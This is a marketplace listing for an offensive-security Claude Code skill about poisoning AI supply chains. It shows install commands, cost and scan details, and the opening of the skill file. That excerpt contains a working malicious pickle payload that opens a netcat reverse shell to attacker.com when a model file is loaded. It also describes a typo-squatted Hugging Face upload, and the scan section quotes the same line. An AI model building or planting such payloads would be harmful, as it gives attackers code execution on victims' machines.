llm-supply-chain-poisoning

llm-supply-chain-poisoning is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 72 tokens per session (2,384 once invoked), scanned A, original, Apache-2.0.

A security-testing guide for AI supply-chain risks involving models, datasets, and software dependencies. It covers threats such as altered model files, poisoned training data, and unsafe loading of serialized files.

In plain words
What is it for?
Used in authorized reviews of machine-learning pipelines to inspect downloaded model files, test unsafe deserialization, and assess risks in model training and deployment.
Why use it?
It helps security teams check whether untrusted AI components could run code, hide a backdoor, or change a model's behavior before deployment.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Used in authorized reviews of machine-learning pipelines to inspect downloaded model files, test unsafe deserialization, and assess risks in model training and deployment.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for llm-supply-chain-poisoning

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for llm-supply-chain-poisoning

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 72 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,384 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00072 $0.02384
Opus 5 $0.00036 $0.01192
Sonnet 5 $0.00014 $0.00477
Haiku 4.5 $0.00007 $0.00238

Measured 12d ago against content hash ec47a9a52afa, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

llm-supply-chain-poisoning scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

- To demonstrate how an attacker can execute arbitrary code (RCE) on the GPU cluster simply by the victim executing `model.load()`.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('nc -e /bin/sh attacker.com 4444',))
skills/ai-red-teaming/supply-chain-analysis/llm-supply-chain-poisoning/SKILL.md · 193 lines

How it starts

The opening of the file, as written. The whole thing — 193 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AI Supply Chain Poisoning

When to Use

  • When auditing a Data Science team's model development pipeline (MLOps).
  • When developers are pulling untrusted, pre-trained .pkl, .bin, or .pt model files from public repositories like Hugging Face or Model Zoo.
  • To demonstrate how an attacker can execute arbitrary code (RCE) on the GPU cluster simply by the victim executing model.load().
  • To establish a silent backdoor in an image classification or NLP model before it is deployed to production.

Prerequisites

  • Access to target AI/ML system or local model deployment for testing
  • Python 3.9+ with relevant ML libraries (transformers, torch, openai)
  • Understanding of LLM architecture and prompt processing pipelines
  • Authorized scope and rules of engagement for AI red team testing

Workflow

Phase 1: Insecure Deserialization via Pickled Models (Remote Code Execution)

# Concept: PyTorch and Scikit-Learn traditionally save models using Python's `pickle` module.
# Pickle is NOT safe. It can deserialize arbitrary Python bytecode, allowing for RCE
# perfectly disguised as a legitimate AI model file.

# 1. The Attacker constructs a malicious Pickle payload:
import pickle
import os

class MaliciousModel(object):
    def __reduce__(self):
        # This code executes the moment the victim loads the model
        return (os.system, ('nc -e /bin/sh attacker.com 4444',))

# Create our "fake" model weight file
malicious_payload = MaliciousModel()
with open("roberta-base-weights.bin", "wb") as f:
    pickle.dump(malicious_payload, f)

# 2. Supply Chain Injection:
# The attacker uploads `roberta-base-weights.bin` to a typo-squatted Hugging Face repo 
# (e.g., `huggingface.co/microsft/roberta-base` instead of `microsoft/roberta-base`).

# 3. Execution (The Victim):
# A junior developer runs the standard PyTorch loading command:
import torch
model = torch.load("roberta-base-weights.bin")  # RCE TRIGGERS IMMEDIATELY! Gaining a reverse shell.

Phase 2: Model Backdooring (Weight Manipulation)

Read the full file on GitHub · 193 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 193 lines · 72 tokens per session scan A ec47a9a52afa

Subscribe to this mod's changes

llm-supply-chain-poisoning is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 72 tokens to every session and 2,384 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 2 findings (unrestricted tool access, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

quantizing-models-bitsandbytes

Quantizes LLMs to 8-bit or 4-bit for 50-75% memory reduction with minimal accuracy loss. Use when GPU memory is limited, need to fit larger models, or want faster inference. Supports INT8, NF4, FP4 formats, QLoRA training, and 8-bit optimizers. Works with HuggingFace Transformers.

davila7/claude-code-templates · 83 tokens

llama-factory

Expert guidance for fine-tuning LLMs with LLaMA-Factory - WebUI no-code, 100+ models, 2/3/4/5/6/8-bit QLoRA, multimodal support.

davila7/claude-code-templates · 51 tokens

mlflow

Track ML experiments, manage model registry with versioning, deploy models to production, and reproduce experiments with MLflow - framework-agnostic ML lifecycle platform.

davila7/claude-code-templates · 33 tokens

chrome-cdp

Drive a headless Chrome over the Chrome DevTools Protocol (CDP) for browser QA — navigate, click, fill forms, read the DOM/accessibility tree, screenshot, and assert. Use whenever a task requires loading a web page and interacting with it like a user. Chrome is launched by a bash step (recipe below); this skill…

mattzcarey/shippie · 91 tokens

review-trtmc-pr

Review a TensorRT-Model-Connect GitHub PR or local contributor branch against the current post-#1093 model-family isolation architecture, repository rules, behavioral correctness, and exact-head validation evidence. Use for contributor self-review before marking a PR ready, or when deciding whether a community PR is…

NVIDIA/TensorRT-Model-Connect · 98 tokens

pr-babysitter

Use when monitoring GitHub pull request CI, diagnosing failed checks, rebasing branches onto github/main, applying narrowly scoped fixes, and updating PRs until their latest checks are green or a human blocker is identified.

NVIDIA/TensorRT-Model-Connect · 48 tokens